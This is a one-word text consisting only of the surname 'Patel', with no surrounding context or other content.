Patel